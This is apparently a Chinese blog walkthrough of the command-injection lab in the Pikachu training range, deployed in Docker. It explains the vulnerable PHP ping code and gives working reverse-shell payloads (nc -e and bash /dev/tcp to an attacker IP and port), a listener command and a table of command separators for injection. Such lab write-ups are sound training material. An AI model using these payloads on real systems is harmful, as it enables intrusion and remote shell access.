Pikachu靶场通关笔记(29) — RCE Exec Ping (Docker环境踩坑与反弹Shell详解)

61次阅读
没有评论

摘要 / 前言: RCE (Remote Command/Code Execution) 是渗透测试中危害极大的漏洞。在 Pikachu 的 exec "ping" 模块中,由于后端代码未对 IP 参数进行严格过滤,直接拼接执行了系统命令,导致了命令执行漏洞。
本次通关过程中,由于使用的是 Docker 搭建的靶场环境,遇到了“命令无回显”和“反弹 Shell 失败”的特殊情况。本文将详细记录从环境修复到利用 Bash 反弹 Shell 的全过程,重点分析 nc 在不同环境下的差异及管道符的利用原理。


一、漏洞成因分析

查看后端核心代码 (rce_ping.php),逻辑非常简单直接:

if(isset($_POST['submit']) && $_POST['ipaddress']!=null){$ip=$_POST['ipaddress'];
    // s:获取操作系统名称,检测当前运行环境是否为 Windows 系统,Windows 和 Linux 执行不同命令。if(stristr(php_uname('s'), 'windows')){$result.=shell_exec('ping'.$ip);
    }else {
        // 核心漏洞点:变量 $ip 直接拼接到了命令字符串中
        $result.=shell_exec('ping -c 4'.$ip);
    }
}

分析:
开发者原本意图是执行 ping -c 4 [用户输入 IP]。但由于没有过滤 |, &, ; 等连接符,可以通过闭合前面的命令,执行想要的恶意指令。例如输入 127.0.0.1 | ls,系统就会执行 ping,并将结果传给 ls(或者依次执行)。

Pikachu 靶场通关笔记(29) — RCE Exec Ping (Docker 环境踩坑与反弹 Shell 详解)

二、Docker 环境踩坑记录

在实际利用过程中,因为我是用 Docker 容器部署的 Pikachu,遇到了两个典型的环境问题。

踩坑 1:Ping 命令无回显

现象:
在输入框输入 127.0.0.1 点击 Ping,页面加载完成后没有任何内容输出,甚至连报错都没有。

原因排查:
PHP 的 shell_exec 函数只返回标准输出 (STDOUT),不返回错误输出 (STDERR)。Docker 的很多基础镜像(如 Debian Slim 或 Ubuntu Minimal)为了精简体积,默认没有安装 ping 工具
导致后端执行 ping 命令时报错 command not found,但因为是错误流,前端看不到,表现为“无回显”。

解决方案:
需要进入容器手动安装 ping 工具(以 Debian/Ubuntu 容器为例):

# 1. 进入容器终端
docker exec -it < 容器 ID> /bin/bash

# 2. 更新源并安装 ping
apt-get update
apt-get install -y iputils-ping

安装完成后,再次测试 127.0.0.1,回显正常。


踩坑 2:Netcat (nc) 反弹 Shell 失败

现象:
试图使用经典的 nc 反弹命令:
127.0.0.1 | nc -e /bin/bash 192.168.93.129 5566
结果攻击机(Kali)端虽然接收到了连接,但 瞬间断开,或者根本没有 Shell 环境。

原因分析:
现代 Linux 发行版中预装的 nc 通常是 netcat-openbsd 版本。出于安全考虑,该版本 移除了 -e 参数(该参数允许程序执行并重定向输入输出)。因此,直接使用 -e /bin/bash 是无效的。


三、最终利用:Bash 反弹 Shell

既然 nc 不支持 -e,且单纯的管道符无法提供交互环境,我们需要利用 Linux 系统自带的 bash 进行 TCP 重定向。

Payload:

127.0.0.1 | /bin/bash -c 'bash -i >& /dev/tcp/192.168.93.129/5566 0>&1'

详细解析:

  1. 127.0.0.1 |: 用于满足原本 ping 命令的格式(或者用 ; 隔开也可以),确保命令拼接成功。
  2. /bin/bash -c '...': 调用 bash 来执行单引号内的复杂命令串。
  3. bash -i: 启动一个交互式 (interactive) 的 shell。
  4. >& /dev/tcp/IP/PORT: 这是 Bash 的内置特性。它将 标准输出 (stdout)标准错误 (stderr) 重定向到一个特殊的设备文件(全都导向了那个网络连接,其实是建立一个 TCP 连接到攻击机)。受害者机器执行命令后的结果(1)和报错(2),都会顺着这条线飞给攻击者。
  5. 0>&1: 将 标准输入 (stdin) 重定向到标准输出的位置。这意味着,攻击机发过来的指令(stdin),会通过这个 TCP 连接传给容器内的 bash 执行;bash 执行的结果(stdout),又会通过 TCP 连接传回给攻击机。

当连接建立后,这成了一个 完美的闭环

  1. 指令下达:攻击者在自己的黑框框里输入 cat /etc/passwd 并敲下回车。
  2. 网络传输:这个字符串通过绑定的端口,跨越互联网,飞向受害者机器。
  3. 指令执行:受害者的 Bash 从 0>&1(也就是网络线)里听到了这个指令,就像在本地输入一样,老老实实地去读取文件。
  4. 结果回传:读取到的内容(文件数据)被送往 1(标准输出)。由于 >& 已经把 1 接到了网络线上,数据再次飞回攻击者机器。
  5. 屏幕显示:攻击者在自己的屏幕上看到了受害者机器里的敏感文件。

执行步骤:

  1. 攻击机监听:
    bash nc -lvp 5566
  2. 靶场输入 Payload:
    在输入框填入上述 Payload 并提交。
  3. 获取 Shell:
    攻击机终端显示连接建立,输入 ls,成功列出目录!
Pikachu 靶场通关笔记(29) — RCE Exec Ping (Docker 环境踩坑与反弹 Shell 详解)

四、Linux 与 Windows 常用命令连接符(管道符)总结

在做 RCE(命令执行)类漏洞时,我们通常利用这些符号把“恶意命令”拼接到“正常命令”后面。

符号 名称 Linux 支持 Windows 支持 作用详解 (以 A [符号] B 为例) 场景举例 (Ping RCE)
| 管道符 将 A 的输出作为 B 的输入
A 和 B 都会执行,但 A 的结果看不到,因为传给 B 了。
127.0.0.1 | id
(Ping 的结果传给 id,但 id 不处理输入,只显示当前用户)
|| 逻辑或 只有当 A 执行失败时,才执行 B
如果 A 成功,B 不执行。
ping x.x.x.x || whoami
(故意输个错 IP 让 Ping 失败,就会执行 whoami)
& 后台 / 连接 Linux: 让 A 在后台运行,紧接着运行 B。
Windows: 仅仅是连接符,先跑 A,再跑 B (不管 A 是否成功)。
127.0.0.1 & ipconfig
(Windows 下最常用的拼接符)
&& 逻辑与 只有当 A 执行成功时,才执行 B
如果 A 失败,B 不执行。
127.0.0.1 && dir
(前面 IP 必须通,才会执行 dir)
; 分号 命令分隔符 。先执行 A,再执行 B。
不管 A 成功还是失败,B 都会执行。
127.0.0.1 ; ls
(Linux 下最常用的拼接符,不受 Ping 结果影响)
%0a 换行符 ❌(部分) 在 URL 编码中代表换行。相当于在终端按了回车,开始输下一条命令。 127.0.0.1 %0a ls

博客笔记建议:
在 RCE Ping 题目中,最稳健的选择通常是:

  • Linux: 使用 ; (分号) 或者 | (管道)。
  • Windows: 使用 & (连接符) 或者 | (管道)。
  • 如果希望忽略前面的 Ping 命令是否成功,直接执行后面的:Linux 用 ;,Windows 用 &

五、总结

在 Docker 环境下做 RCE 靶场练习时,环境差异是最大的拦路虎。

  1. 工具缺失:Docker 镜像讲究最小化,常缺失 ping, ifconfig, vi 等命令,无回显时优先考虑报错或工具缺失。
  2. 功能阉割 :容器内的 nc 往往不支持 -e,这时候Bash 反弹Python 反弹 是更通用的选择。
  3. 管道符逻辑:理解 | 是传递数据流而不是单纯的连接符,对于构造复杂的 Payload 至关重要。
正文完
 0
评论(没有评论)